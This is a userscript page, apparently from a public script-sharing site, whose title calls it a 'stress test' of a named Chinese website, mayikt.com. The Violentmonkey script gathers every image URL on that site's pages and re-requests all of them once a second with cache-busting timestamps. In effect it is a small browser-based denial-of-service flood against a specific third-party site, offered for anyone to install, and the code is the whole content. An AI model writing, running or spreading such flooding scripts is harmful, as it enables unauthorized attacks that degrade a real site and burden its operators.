压测麻子哥网站

2024/8/25 21:00:51

질문, 리뷰하거나, 이 스크립트를 신고하세요.
// ==UserScript==
// @name        压测麻子哥网站
// @namespace   Violentmonkey Scripts
// @match       http://www.mayikt.com/*
// @grant       none
// @version     1.0
// @require     https://unpkg.com/axios@1.7.5/dist/axios.min.js
// @author      -
// @license     MIT
// @description 2024/8/25 21:00:51
// ==/UserScript==
(()=>{
  const imgList = document.querySelectorAll('img')
  const imgUrlList = new Array()
  for(let i = 0,len = imgList.length;i<len-1;i++){
    imgUrlList.push(imgList[i]['src'])
  }

  const http = axios.create({
      headers: {
          post: {
              "Content-Type": "application/x-www-form-urlencoded"
          }
      }
  });
  http.interceptors.request.use((config) => {
      // 避免浏览器对请求进行缓存
      config.params = {
          ...config.params,
          ts:Date.now()
      };
      return config;
  });
  setInterval(()=>{
    for(url of imgUrlList){
      http.get(url)
    }
  },1000)
})()